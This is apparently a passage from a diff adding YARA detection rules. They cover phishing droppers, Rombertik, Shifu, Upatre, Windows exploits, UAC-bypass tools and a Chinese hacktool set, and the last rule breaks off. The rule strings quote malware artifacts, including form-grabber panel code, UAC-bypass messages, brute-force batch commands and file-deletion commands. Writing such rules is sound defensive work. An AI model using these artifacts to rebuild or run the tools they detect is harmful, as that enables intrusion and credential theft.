+		$s5 = "GetClusterResourceTypeKey" fullword ascii /* Goodware String - occured 17 times */
+		$s6 = "QueryInformationJobObject" fullword ascii /* Goodware String - occured 34 times */
+		$s7 = "interface" fullword wide /* Goodware String - occured 52 times */
+		$s8 = "connect" fullword wide /* Goodware String - occured 61 times */
+		$s9 = "FreeConsole" fullword ascii /* Goodware String - occured 91 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule PHISH_02Dez2015_dropped_p0o6543f_2 {
+	meta:
+		description = "Phishing Wave used MineExplorer Game by WangLei - file p0o6543f.exe.4"
+		author = "Florian Roth"
+		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
+		date = "2015-12-03"
+		hash1 = "d6b21ded749b57042eede07c3af1956a3c9f1faddd22d2f78e43003a11ae496f"
+		hash2 = "561b16643992b92d37cf380bc2ed7cd106e4dcaf25ca45b4ba876ce59533fb02"
+	strings:
+		$s1 = "Email: W0067@990.net" fullword wide
+		$s2 = "MineExplorer Version 1.0" fullword wide
+		$s6 = "Copy Rights by WangLei 1999.4" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule PHISH_02Dez2015_attach_P_ORD_C_10156_124658 {
+	meta:
+		description = "Phishing Wave - file P-ORD-C-10156-124658.xls"
+		author = "Florian Roth"
+		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
+		date = "2015-12-02"
+		hash1 = "bc252ede5302240c2fef8bc0291ad5a227906b4e70929a737792e935a5fee209"
+		hash2 = "e6c5b55586e9d99551adc27a0fc9c080cea6201fae60104b82d5a2ec518fafb6"
+		hash3 = "80f278b7268ea6814f8b336e07c5f4b03289519e199fbe4cbd9ef6a38cf25df6"
+		hash4 = "3a0a758525883a049a42312e46a023076c31af23b5e8e5b81fec56d51e4c80fb"
+		hash5 = "bc252ede5302240c2fef8bc0291ad5a227906b4e70929a737792e935a5fee209"
+		hash6 = "d9db7d32949c4df6a5d9d0292b576ae19681be7b6e0684df57338390e87fc6d6"
+		hash7 = "7bb705701ae73d377f6091515a140f0af57703719a67da9a60fad4544092ee6c"
+		hash8 = "e743c6e7749ab1046a2beea8733d7c8386ea60b43492bb4f0769ced6a2cee66d"
+	strings:
+		$s1 = "Execute" ascii
+		$s2 = "Process WriteParameterFiles" fullword ascii
+		$s3 = "WScript.Shell" fullword ascii
+		$s4 = "STOCKMASTER" fullword ascii
+		$s5 = "InsertEmailFax" ascii
+	condition:
+		uint16(0) == 0xcfd0 and filesize < 200KB and all of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-05-05
+	Identifier: CarbonGrabber
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Rombertik_CarbonGrabber {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik - file Copy#064046.scr"
+		author = "Florian Roth"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash1 = "2f9b26b90311e62662c5946a1ac600d2996d3758"
+		hash2 = "aeb94064af2a6107a14fd32f39cb502e704cd0ab"
+		hash3 = "c2005c8d1a79da5e02e6a15d00151018658c264c" 
+		hash4 = "98223d4ec272d3a631498b621618d875dd32161d" 	
+	strings:
+		$x1 = "ZwGetWriteWatch" fullword ascii
+		$x2 = "OutputDebugStringA" fullword ascii
+		$x3 = "malwar" fullword ascii
+		$x4 = "sampl" fullword ascii
+		$x5 = "viru" fullword ascii
+		$x6 = "sandb" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5MB and all of them
+}
+
+rule Rombertik_CarbonGrabber_Panel_InstallScript {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik panel install script - file install.php"
+		author = "Florian Roth"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash = "cd6c152dd1e0689e0bede30a8bd07fef465fbcfa"
+	strings:
+		$s0 = "$insert = \"INSERT INTO `logs` (`id`, `ip`, `name`, `host`, `post`, `time`, `bro" ascii
+		$s3 = "`post` text NOT NULL," fullword ascii
+		$s4 = "`host` text NOT NULL," fullword ascii
+		$s5 = ") ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ;\" ;" fullword ascii
+		$s6 = "$db->exec($columns); //or die(print_r($db->errorInfo(), true));;" fullword ascii
+		$s9 = "$db->exec($insert);" fullword ascii
+		$s10 = "`browser` text NOT NULL," fullword ascii
+		$s13 = "`ip` text NOT NULL," fullword ascii
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule Rombertik_CarbonGrabber_Panel {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik Panel - file index.php"
+		author = "Florian Roth"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash = "e6e9e4fc3772ff33bbeeda51f217e9149db60082"
+	strings:
+		$s0 = "echo '<meta http-equiv=\"refresh\" content=\"0;url=index.php?a=login\">';" fullword ascii
+		$s1 = "echo '<meta http-equiv=\"refresh\" content=\"2;url='.$website.'/index.php?a=login" ascii
+		$s2 = "header(\"location: $website/index.php?a=login\");" fullword ascii
+		$s3 = "$insertLogSQL -> execute(array(':id' => NULL, ':ip' => $ip, ':name' => $name, ':" ascii
+		$s16 = "if($_POST['username'] == $username && $_POST['password'] == $password){" fullword ascii
+		$s17 = "$SQL = $db -> prepare(\"TRUNCATE TABLE `logs`\");" fullword ascii
+	condition:
+		filesize < 46KB and all of them
+}
+
+rule Rombertik_CarbonGrabber_Builder {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik Builder - file Builder.exe"
+		author = "Florian Roth"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash = "b50ecc0ba3d6ec19b53efe505d14276e9e71285f"
+	strings:
+		$s0 = "c:\\users\\iden\\documents\\visual studio 2010\\Projects\\FormGrabberBuilderC++" ascii
+		$s1 = "Host(www.panel.com): " fullword ascii
+		$s2 = "Path(/form/index.php?a=insert): " fullword ascii
+		$s3 = "FileName: " fullword ascii
+		$s4 = "~Rich8" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 35KB and all of them
+}
+
+rule Rombertik_CarbonGrabber_Builder_Server {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik Builder Server - file Server.exe"
+		author = "Florian Roth"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash = "895fab8d55882eac51d4b27a188aa67205ff0ae5"
+	strings:
+		$s0 = "C:\\WINDOWS\\system32\\svchost.exe" fullword ascii
+		$s3 = "Software\\Microsoft\\Windows\\Currentversion\\RunOnce" fullword ascii
+		$s4 = "chrome.exe" fullword ascii
+		$s5 = "firefox.exe" fullword ascii
+		$s6 = "chrome.dll" fullword ascii
+		$s7 = "@KERNEL32.DLL" fullword wide
+		$s8 = "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome" ascii
+		$s10 = "&post=" fullword ascii
+		$s11 = "&host=" fullword ascii
+		$s12 = "Ws2_32.dll" fullword ascii
+		$s16 = "&browser=" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and 8 of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-09-01
+	Identifier: Shifu
+*/
+
+rule Shifu_Banking_Trojan {
+	meta:
+		description = "Detects Shifu Banking Trojan"
+		author = "Florian Roth"
+		reference = "https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/"
+		date = "2015-09-01"
+		hash1 = "4ff1ebea2096f318a2252ebe1726bcf3bbc295da9204b6c720b5bbf14de14bb2"
+		hash2 = "4881c7d89c2b5e934d4741a653fbdaf87cc5e7571b68c723504069d519d8a737"
+	strings:
+		$x1 = "c:\\oil\\feet\\Seven\\Send\\Gather\\Dividerail.pdb" fullword ascii
+
+		$s1 = "listen above" fullword wide
+		$s2 = "familycould cost" fullword wide
+		$s3 = "SetSystemTimeAdjustment" fullword ascii /* Goodware String - occured 33 times */
+		$s4 = "PeekNamedPipe" fullword ascii /* Goodware String - occured 347 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and ($x1 or all of ($s*))
+}
+
+rule SHIFU_Banking_Trojan {
+	meta:
+		description = "Detects SHIFU Banking Trojan"
+		author = "Florian Roth"
+		reference = "http://goo.gl/52n8WE"
+		date = "2015-10-31"
+		score = 70
+		hash1 = "0066d1c8053ff8b0c07418c7f8d20e5cd64007bb850944269f611febd0c1afe0"
+		hash2 = "3956d32a870d81be34cafc867769b2a2f55a96360070f1cb3d9addc2918357d5"
+		hash3 = "3fde1b2b50fcb36a695f1e6bc577cd930c2343066d98982cf982393e55bfce0d"
+		hash4 = "457ad4a4d4e675fe09f63873ca3364434dc872dde7d9b64ce7db919eaff47485"
+		hash5 = "51edba913e8b83d1388b1be975957e439015289d51d3d5774d501551f220df6f"
+		hash6 = "6611a2b79a3acf0003b1197aa5bfe488a33db69b663c79c6c5b023e86818d38b"
+		hash7 = "72e239924faebf8209f8e3d093f264f778a55efb56b619f26cea73b1c4feb7a4"
+		hash8 = "7a29cb641b9ac33d1bb405d364bc6e9c7ce3e218a8ff295b75ca0922cf418290"
+		hash9 = "92fe4f9a87c796e993820d1bda8040aced36e316de67c9c0c5fc71aadc41e0f8"
+		hash10 = "93ecb6bd7c76e1b66f8c176418e73e274e2c705986d4ac9ede9d25db4091ab05"
+		hash11 = "a0b7fac69a4eb32953c16597da753b15060f6eba452d150109ff8aabc2c56123"
+		hash12 = "a8b6e798116ce0b268e2c9afac61536b8722e86b958bd2ee95c6ecdec86130c9"
+		hash13 = "d6244c1177b679b3d67f6cec34fe0ae87fba21998d4f5024d8eeaf15ca242503"
+		hash14 = "dcc9c38e695ffd121e793c91ca611a4025a116321443297f710a47ce06afb36d"
+	strings:
+		$x1 = "\\Gather\\Dividerail.pdb" ascii
+
+		$s0 = "\\payload\\payload.x86.pdb" ascii
+		$s1 = "USER_PRIV_GUEST" fullword wide
+		$s2 = "USER_PRIV_ADMIN" fullword wide
+		$s3 = "USER_PRIV_USER" fullword wide
+		$s4 = "PPSWVPP" fullword ascii
+		$s5 = "WinSCard.dll" fullword ascii /* Goodware String - occured 83 times */
+	condition:
+		uint16(0) == 0x5a4d and ($x1 or 5 of ($s*))
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-10-13
+	Identifier: Upatre Campaign October 2015
+*/
+
+rule Upatre_Hazgurut {
+	meta:
+		description = "Detects Upatre malware - file hazgurut.exe"
+		author = "Florian Roth"
+		reference = "https://weankor.vxstream-sandbox.com/sample/6b857ef314938d37997c178ea50687a281d8ff9925f0c4e70940754643e2c0e3?environmentId=7"
+		date = "2015-10-13"
+		score = 70
+		hash1 = "7ee0d20b15e24b7fe72154d9521e1959752b4e9c20d2992500df9ac096450a50"
+		hash2 = "79ffc620ddb143525fa32bc6a83c636168501a4a589a38cdb0a74afac1ee8b92"
+		hash3 = "62d8a6880c594fe9529158b94a9336179fa7a3d3bf1aa9d0baaf07d03b281bd3"
+		hash4 = "c64282aca980d558821bec8b3dfeae562d9620139dc43d02ee4d1745cd989f2a"
+		hash5 = "a35f9870f9d4b993eb094460b05ee1f657199412807abe6264121dd7cc12aa70"
+		hash6 = "f8cb2730ebc8fac1c58da1346ad1208585fe730c4f03d976eb1e13a1f5d81ef9"
+		hash7 = "b65ad7e2d299d6955d95b7ae9b62233c34bc5f6aa9f87dc482914f8ad2cba5d2"
+		hash8 = "6b857ef314938d37997c178ea50687a281d8ff9925f0c4e70940754643e2c0e3"
+		hash9 = "33a288cef0ae7192b34bd2ef3f523dfb7c6cbc2735ba07edf988400df1713041"
+		hash10 = "2a8e50afbc376cb2a9700d2d83c1be0c21ef942309676ecac897ba4646aba273"
+		hash11 = "3d0f2c7e07b7d64b1bad049b804ff1aae8c1fc945a42ad555eca3e1698c7f7d3"
+		hash12 = "951360b32a78173a1f81da0ded8b4400e230125d05970d41621830efc5337274"
+		hash13 = "bd90faebfd7663ef89b120fe69809532cada3eb94bb94094e8bc615f70670295"
+		hash14 = "8c5823f67f9625e4be39a67958f0f614ece49c18596eacc5620524bc9b6bad3d"
+	strings:
+		$a1 = "barcod" fullword ascii
+
+		$s0 = "msports.dll" fullword ascii
+		$s1 = "nddeapi.dll" fullword ascii
+		$s2 = "glmf32.dll" fullword ascii
+		$s3 = "<requestedExecutionLevel level=\"requireAdministrator\" uiAccess=\"false\">" fullword ascii
+		$s4 = "cmutil.dll" fullword ascii
+		$s5 = "mprapi.dll" fullword ascii
+		$s6 = "glmf32.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1500KB
+		and $a1 in (0..4000)
+		and all of ($s*)
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-05-14
+	Identifier: CVE-2015-1674
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CVE_2015_1674_CNGSYS {
+	meta:
+		description = "Detects exploits for CVE-2015-1674"
+		author = "Florian Roth"
+		reference = "http://www.binvul.com/viewthread.php?tid=508"
+		date = "2015-05-14"
+		hash = "af4eb2a275f6bbc2bfeef656642ede9ce04fad36"
+	strings:
+		$s1 = "\\Device\\CNG" fullword wide
+		
+		$s2 = "GetProcAddress" fullword ascii
+		$s3 = "LoadLibrary" ascii
+		$s4 = "KERNEL32.dll" fullword ascii
+		$s5 = "ntdll.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
+
+
+rule CVE_2015_1701_Taihou {
+	meta:
+		description = "CVE-2015-1701 compiled exploit code"
+		author = "Florian Roth"
+		reference = "http://goo.gl/W4nU0q"
+		date = "2015-05-13"
+		hash1 = "90d17ebd75ce7ff4f15b2df951572653efe2ea17"
+		hash2 = "acf181d6c2c43356e92d4ee7592700fa01e30ffb"
+		hash3 = "b8aabe12502f7d55ae332905acee80a10e3bc399"
+		hash4 = "d9989a46d590ebc792f14aa6fec30560dfe931b1"
+		hash5 = "63d1d33e7418daf200dc4660fc9a59492ddd50d9"
+		score = 70
+	strings:	
+		$s3 = "VirtualProtect" fullword
+		$s4 = "RegisterClass"
+		$s5 = "LoadIcon"
+		$s6 = "PsLookupProcessByProcessId" fullword ascii 
+		$s7 = "LoadLibraryExA" fullword ascii
+		$s8 = "gSharedInfo" fullword
+
+		$w1 = "user32.dll" wide
+		$w2 = "ntdll" wide	
+	condition:
+		uint16(0) == 0x5a4d and filesize < 160KB and all of ($s*) and 1 of ($w*)
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-21
+	Identifier: MS15-077 MS15-078
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Exploit_MS15_077_078 {
+	meta:
+		description = "MS15-078 / MS15-077 exploit - generic signature"
+		author = "Florian Roth"
+		reference = "https://code.google.com/p/google-security-research/issues/detail?id=473&can=1&start=200"
+		date = "2015-07-21"
+		hash1 = "18e3e840a5e5b75747d6b961fca66a670e3faef252aaa416a88488967b47ac1c"
+		hash2 = "0b5dc030e73074b18b1959d1cf7177ff510dbc2a0ec2b8bb927936f59eb3d14d"
+		hash3 = "fc609adef44b5c64de029b2b2cff22a6f36b6bdf9463c1bd320a522ed39de5d9"
+		hash4 = "ad6bb982a1ecfe080baf0a2b27950f989c107949b1cf02b6e0907f1a568ece15"
+	strings:
+		$s1 = "GDI32.DLL" fullword ascii
+		$s2 = "atmfd.dll" fullword wide
+		$s3 = "AddFontMemResourceEx" fullword ascii
+		$s4 = "NamedEscape" fullword ascii
+		$s5 = "CreateBitmap" fullword ascii
+		$s6 = "DeleteObject" fullword ascii
+
+		$op0 = { 83 45 e8 01 eb 07 c7 45 e8 } /* Opcode */
+		$op1 = { 8d 85 24 42 fb ff 89 04 24 e8 80 22 00 00 c7 45 } /* Opcode */
+		$op2 = { eb 54 8b 15 6c 00 4c 00 8d 85 24 42 fb ff 89 44 } /* Opcode */
+		$op3 = { 64 00 88 ff 84 03 70 03 }
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and 5 of ($s*) or 3 of ($op*)
+}
+
+rule Exploit_MS15_077_078_HackingTeam {
+	meta:
+		description = "MS15-078 / MS15-077 exploit - Hacking Team code"
+		author = "Florian Roth"
+		date = "2015-07-21"
+		super_rule = 1
+		hash1 = "ad6bb982a1ecfe080baf0a2b27950f989c107949b1cf02b6e0907f1a568ece15"
+		hash2 = "fc609adef44b5c64de029b2b2cff22a6f36b6bdf9463c1bd320a522ed39de5d9"
+	strings:
+		$s1 = "\\SystemRoot\\system32\\CI.dll" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\sysnative\\CI.dll" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "CRTDLL.DLL" fullword ascii
+		$s5 = "\\sysnative" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "InternetOpenA coolio, trying open %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2500KB and 5 of them
+}
+
+rule Win7Elevatev2 {
+	meta:
+		description = "Detects Win7Elevate - Windows UAC bypass utility"
+		author = "Florian Roth"
+		reference = "http://www.pretentiousname.com/misc/W7E_Source/Win7Elevate_Inject.cpp.html"
+		date = "2015-05-14"
+		hash1 = "4f53ff6a04e46eda92b403faf42219a545c06c29" /* x64 */
+		hash2 = "808d04c187a524db402c5b2be17ce799d2654bd1" /* x86 */
+		score = 60
+	strings:
+		$x1 = "This program attempts to bypass Windows 7's default UAC settings to run " wide
+		$x2 = "Win7ElevateV2\\x64\\Release\\" ascii
+		$x3 = "Run the command normally (without code injection)" wide	
+		$x4 = "Inject file copy && elevate command" fullword wide
+		$x5 = "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html" fullword wide
+		$x6 = "For injection, pick any unelevated Windows process with ASLR on:" fullword wide
+		
+		$s1 = "\\cmd.exe" wide
+		$s2 = "runas" wide
+		$s3 = "explorer.exe" wide
+		$s4 = "Couldn't load kernel32.dll" wide
+		$s5 = "CRYPTBASE.dll" wide
+		$s6 = "shell32.dll" wide
+		$s7 = "ShellExecuteEx" ascii
+		$s8 = "COMCTL32.dll" ascii 
+		$s9 = "ShellExecuteEx" ascii
+		$s10 = "HeapAlloc" ascii
+	condition:
+		uint16(0) == 0x5a4d and ( 1 of ($x*) or all of ($s*) )
+}
+
+rule UACME_Akagi {
+	meta:
+		description = "Rule to detect UACMe - abusing built-in Windows AutoElevate backdoor"
+		author = "Florian Roth"
+		reference = "https://github.com/hfiref0x/UACME"
+		date = "2015-05-14"
+		hash1 = "edd2138bbd9e76c343051c6dc898054607f2040a"
+		hash2 = "e3a919ccc2e759e618208ededa8a543954d49f8a"
+		score = 60
+	strings:
+		$x1 = "UACMe injected, Fubuki at your service." wide fullword
+		$x3 = "%temp%\\Hibiki.dll" fullword wide
+		$x4 = "[UCM] Cannot write to the target process memory." fullword wide
+		
+		$s1 = "%systemroot%\\system32\\cmd.exe" wide
+		$s2 = "D:(A;;GA;;;WD)" wide
+		$s3 = "%systemroot%\\system32\\sysprep\\sysprep.exe" fullword wide
+		$s4 = "/c wusa %ws /extract:%%windir%%\\system32" fullword wide
+		$s5 = "Fubuki.dll" ascii fullword
+		
+		$l1 = "ntdll.dll" ascii
+		$l2 = "Cabinet.dll" ascii
+		$l3 = "GetProcessHeap" ascii
+		$l4 = "WriteProcessMemory" ascii
+		$l5 = "ShellExecuteEx" ascii
+	condition:
+		( 1 of ($x*) ) or ( 3 of ($s*) and all of ($l*) ) 
+}
+
+rule UACElevator {
+	meta:
+		description = "UACElevator bypassing UAC - file UACElevator.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/MalwareTech/UACElevator"
+		date = "2015-05-14"
+		hash = "fd29d5a72d7a85b7e9565ed92b4d7a3884defba6"
+	strings:
+		$x1 = "\\UACElevator.pdb" ascii
+		
+		$s1 = "%userprofile%\\Downloads\\dwmapi.dll" fullword ascii
+		$s2 = "%windir%\\system32\\dwmapi.dll" fullword ascii
+		$s3 = "Infection module: %s" fullword ascii
+		$s4 = "Could not save module to %s" fullword ascii
+		$s5 = "%s%s%p%s%ld%s%d%s" fullword ascii
+		$s6 = "Stack area around _alloca memory reserved by this function is corrupted" fullword ascii
+		$s7 = "Stack around the variable '" fullword ascii
+		$s8 = "MSVCR120D.dll" fullword wide
+		$s9 = "Address: 0x" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 172KB and 
+			( $x1 or 8 of ($s*) )
+}
+
+rule s4u {
+	meta:
+		description = "Detects s4u executable which allows the creation of a cmd.exe with the context of any user without requiring the password. - file s4u.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/aurel26/s-4-u-for-windows"
+		date = "2015-06-05"
+		hash = "cfc18f3d5306df208461459a8e667d89ce44ed77"
+		score = 50
+	strings:
+		// Specific strings (may change)
+		$x0 = "s4u.exe Domain\\Username [Extra SID]" fullword ascii 
+		$x1 = "\\Release\\s4u.pdb" ascii
+
+		// Less specific strings
+		$s0 = "CreateProcessAsUser failed (error %u)." fullword ascii 
+		$s1 = "GetTokenInformation failed (error: %u)." fullword ascii 
+		$s2 = "LsaLogonUser failed (error 0x%x)." fullword ascii 
+		$s3 = "LsaLogonUser: OK, LogonId: 0x%x-0x%x" fullword ascii 
+		$s4 = "LookupPrivilegeValue failed (error: %u)." fullword ascii 
+		$s5 = "The token does not have the specified privilege (%S)." fullword ascii 
+		$s6 = "Unable to parse command line." fullword ascii 
+		$s7 = "Unable to find logon SID." fullword ascii 
+		$s8 = "AdjustTokenPrivileges failed (error: %u)." fullword ascii
+		$s9 = "AdjustTokenPrivileges (%S): OK" fullword ascii 
+		
+		// Generic
+		$g1 = "%systemroot%\\system32\\cmd.exe" wide
+		$g2 = "SeTcbPrivilege" wide
+		$g3 = "winsta0\\default" wide
+		$g4 = ".rsrc"
+		$g5 = "HeapAlloc"
+		$g6 = "GetCurrentProcess"
+		$g7 = "HeapFree"
+		$g8 = "GetProcessHeap"
+		$g9 = "ExpandEnvironmentStrings"
+		$g10 = "ConvertStringSidToSid"
+		$g11 = "LookupPrivilegeValue"
+		$g12 = "AllocateLocallyUniqueId"
+		$g13 = "ADVAPI32.dll"
+		$g14 = "LsaLookupAuthenticationPackage"
+		$g15 = "Secur32.dll"
+		$g16 = "MSVCR120.dll"		
+
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and ( 1 of ($x*) or all of ($s*) or all of ($g*) ) 
+}
+
+rule ACE_Containing_EXE {
+    meta:
+        author = "Florian Roth - based on Nick Hoffman' rule - Morphick Inc"
+        description = "Looks for ACE Archives containing an exe/scr file"
+        date = "2015-09-09"
+        score = 50
+    strings:
+        $header = { 2a 2a 41 43 45 2a 2a }
+        $extensions1 = ".exe" 
+        $extensions2 = ".EXE"
+        $extensions3 = ".scr"
+        $extensions4 = ".SCR"
+    condition:
+        $header at 7 and for
+        any of ($extensions*): (
+            $ in (81..(81+uint16(79)))
+        )
+}
+
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-08-18
+	Identifier: b374k - Back Connect Payload UPX
+*/
+
+rule b374k_back_connect {
+	meta:
+		description = "Detects privilege escalation tool"
+		author = "Florian Roth"
+		reference = "Internal Analysis"
+		date = "2016-08-18"
+		score = 80
+		hash1 = "c8e16f71f90bbaaef27ccaabb226b43762ca6f7e34d7d5585ae0eb2d36a4bae5"
+	strings:
+		$s1 = "AddAtomACreatePro" fullword ascii
+		$s2 = "shutdow" fullword ascii
+		$s3 = "/config/i386" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 10KB and all of them )
+}
+/*
+    Yara Rule Set
+    Author: Florian Roth
+    Date: 2015-06-13
+    Identifier: CN-Tools Scripts
+    Reference: Diclosed hacktool set at http://w2op.us/ (Mirror: http://tools.zjqhr.com) 
+*/
+
+
+rule CN_Tools_xbat {
+    meta:
+        description = "Chinese Hacktool Set - file xbat.vbs"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "a7005acda381a09803b860f04d4cae3fdb65d594"
+    strings:
+        $s0 = "ws.run \"srss.bat /start\",0 " fullword ascii 
+        $s1 = "Set ws = Wscript.CreateObject(\"Wscript.Shell\")" fullword ascii 
+    condition:
+        uint16(0) == 0x6553 and filesize < 0KB and all of them
+}
+
+rule CN_Tools_Temp {
+    meta:
+        description = "Chinese Hacktool Set - file Temp.war"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "c3327ef63b0ed64c4906e9940ef877c76ebaff58"
+    strings:
+        $s0 = "META-INF/context.xml<?xml version=\"1.0\" encoding=\"UTF-8\"?>" fullword ascii 
+        $s1 = "browser.jsp" fullword ascii 
+        $s3 = "cmd.jsp" fullword ascii
+        $s4 = "index.jsp" fullword ascii
+    condition:
+        uint16(0) == 0x4b50 and filesize < 203KB and all of them
+}
+
+rule CN_Tools_srss {
+    meta:
+        description = "Chinese Hacktool Set - file srss.bat"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "092ab0797947692a247fe80b100fb4df0f9c37a0"
+    strings:
+        $s0 = "srss.exe -idx 0 -ip"
+        $s1 = "-port 21 -logfilter \"_USER ,_P" ascii 
+    condition:
+        filesize < 100 and all of them
+}
+
+rule dll_UnReg {
+    meta:
+        description = "Chinese Hacktool Set - file UnReg.bat"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "d5e24ba86781c332d0c99dea62f42b14e893d17e"
+    strings:
+        $s0 = "regsvr32.exe /u C:\\windows\\system32\\PacketX.dll" fullword ascii 
+        $s1 = "del /F /Q C:\\windows\\system32\\PacketX.dll" fullword ascii 
+    condition:
+        filesize < 1KB and 1 of them
+}
+
+rule dll_Reg {
+    meta:
+        description = "Chinese Hacktool Set - file Reg.bat"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "cb8a92fe256a3e5b869f9564ecd1aa9c5c886e3f"
+    strings:
+        $s0 = "copy PacketX.dll C:\\windows\\system32\\PacketX.dll" fullword ascii 
+        $s1 = "regsvr32.exe C:\\windows\\system32\\PacketX.dll" fullword ascii 
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule sbin_squid {
+    meta:
+        description = "Chinese Hacktool Set - file squid.bat"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "8b795a8085c3e6f3d764ebcfe6d59e26fdb91969"
+    strings:
+        $s0 = "del /s /f /q" fullword ascii
+        $s1 = "squid.exe -z" fullword ascii
+        $s2 = "net start Squid" fullword ascii 
+        $s3 = "net stop Squid" fullword ascii 
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule sql1433_creck {
+    meta:
+        description = "Chinese Hacktool Set - file creck.bat"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "189c11a3b268789a3fbcfac3bd4e03cbfde87b1d"
+    strings:
+        $s0 = "start anhao3.exe -i S.txt -p  pass3.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii 
+        $s1 = "start anhao1.exe -i S.txt -p  pass1.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii 
+        $s2 = "start anhao2.exe -i S.txt -p  pass2.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii 
+    condition:
+        uint16(0) == 0x7473 and filesize < 1KB and 1 of them
+}
+
+rule sql1433_Start {
+    meta:
+        description = "Chinese Hacktool Set - file Start.bat"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "bd4be10f4c3a982647b2da1a8fb2e19de34eaf01"
+    strings:
+        $s1 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii 
+        $s2 = "start creck.bat" fullword ascii 
+        $s3 = "del s1.txt" fullword ascii
+        $s4 = "del Result.txt" fullword ascii
+        $s5 = "del s.TXT" fullword ascii
+        $s6 = "mode con cols=48 lines=20" fullword ascii
+    condition:
+        filesize < 1KB and 2 of them
+}/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-06-13
+	Identifier: CN-Tools Hacktools
+	Reference: Diclosed hacktool set at http://w2op.us/ (Mirror: http://tools.zjqhr.com)
+*/
+
+rule mswin_check_lm_group {
+	meta:
+		description = "Chinese Hacktool Set - file mswin_check_lm_group.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "115d87d7e7a3d08802a9e5fd6cd08e2ec633c367"
+	strings:
+		$s1 = "Valid_Global_Groups: checking group membership of '%s\\%s'." fullword ascii
+		$s2 = "Usage: %s [-D domain][-G][-P][-c][-d][-h]" fullword ascii
+		$s3 = "-D    default user Domain" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 380KB and all of them
+}
+
+rule WAF_Bypass {
+	meta:
+		description = "Chinese Hacktool Set - file WAF-Bypass.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "860a9d7aac2ce3a40ac54a4a0bd442c6b945fa4e"
+	strings:
